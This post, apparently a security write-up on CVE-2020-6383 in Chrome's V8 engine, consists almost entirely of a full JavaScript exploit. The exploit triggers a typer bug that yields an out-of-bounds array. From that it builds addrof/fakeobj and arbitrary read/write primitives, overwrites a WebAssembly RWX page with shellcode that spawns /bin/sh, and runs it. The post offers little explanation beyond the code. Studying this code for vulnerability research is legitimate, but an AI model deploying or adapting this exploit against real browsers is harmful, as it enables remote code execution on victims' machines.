CVE-2020-6383

Posted on Aug 19, 2020

https://crbug.com/1051017

git checkout 73f88b5f69077ef33169361f884f31872a6d56ac

exp.js

function gc() {
    for (let i = 0; i < 0x10; i++) {
        new ArrayBuffer(0x1000000);
    }
}

let convert = new ArrayBuffer(0x8);
let f64 = new Float64Array(convert);
let u32 = new Uint32Array(convert);

function d2u(v) {
    f64[0] = v;
    return u32;
}

function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

function hex(d) {
	let val = d2u(d);
	return ("0x" + (val[1] * 0x100000000 + val[0]).toString(16));
}

function hex2(d) { 
  // print hex of offset (pointer-compressed)
  let tmp = u2d(d2u(d)[0], 0)
	return hex(tmp);
}

gc();

function trigger() {
  var x = -Infinity;
  var k = 0;
  for (var i = 0; i < 1; i += x) {
      if (i == -Infinity) {
        x = +Infinity;
      }

      if (++k > 10) {
        break;
      }
  }

  var value = Math.max(i, 1024);
  value = -value;
  value = Math.max(value, -1025);
  value = -value;
  value -= 1022;
  value >>= 1; // *** 3 ***
  value += 10; //

  var array = Array(value);
  array[0] = 1.1;

  var vic = [1.1, 2.2];
  return [array, {'a':123}, vic];
};

for (let i = 0; i < 20000; ++i) {
  trigger();
}

var vuln = trigger();

/*
%DebugPrint(vuln[0]);
console.log('----------------------------------');
%DebugPrint(vuln[1]); // object array
console.log('----------------------------------');
%DebugPrint(vuln[2]); // packed array
*/

console.log('oob array len : ' + vuln[0].length)
if (vuln[0].length <= 10) quit();

var packed_map = vuln[0][14];
var object_map = vuln[0][16];

// var packed_map = u2d(d2u(vuln[0][14])[0], 0);
// var object_map = u2d(d2u(vuln[0][16])[0], 0);

console.log('packed array map : ' + hex2(packed_map)); 
console.log('object array map : ' + hex2(object_map)); 

function addrof(obj) {
  vuln[1][0] = obj;
  vuln[0][16] = packed_map;
  var addr = vuln[1][0];
  vuln[0][16] = object_map;

  return addr;
}

function fakeobj(addr) { 
  vuln[2][0] = addr;
  vuln[0][14] = object_map;
  var obj = vuln[2][0];
  vuln[0][14] = packed_map;

  return obj;
}

var fakeArray = [
  packed_map, u2d(0, 0x10)
];

//%DebugPrint(fakeArray);
//console.log(hex2(addrof(fakeArray)));


function aar(addr) {
  var off = d2u(addr)[0] - 0x8;
  fakeArray[1] = u2d(off, 0x10);
  var target = u2d(d2u(addrof(fakeArray))[0] + 0x48, 0);
  var aar_obj = fakeobj(target);

  return aar_obj[0];
}

function aaw(addr, val) {
  var off = d2u(addr)[0] - 0x8;
  fakeArray[1] = u2d(off, 0x10);
  var target = u2d(d2u(addrof(fakeArray))[0] + 0x48, 0);
  var aaw_obj = fakeobj(target);

  aaw_obj[0] = val;
}

var buf = new ArrayBuffer(0x100);
var dataview = new DataView(buf);
//%DebugPrint(buf);

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,
  1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,
  131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,
  109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var jit = wasm_instance.exports.main;

//%DebugPrint(wasm_instance);
var jit_addr = addrof(wasm_instance);
var rwx = aar(u2d(d2u(jit_addr)[0]+0x68, 0));

console.log('wasm instance : ' + hex(rwx));
console.log('rwx : ' + hex(rwx));

aaw(u2d(d2u(addrof(buf))[0]+0x14, 0), rwx);
var sc = [0xbb48f631, 0x6e69622f, 0x68732f2f, 0x5f545356, 0x31583b6a, 0x050fd2];
for (var i=0; i<sc.length; i++) {
  dataview.setUint32(4*i, sc[i], true);
}

jit();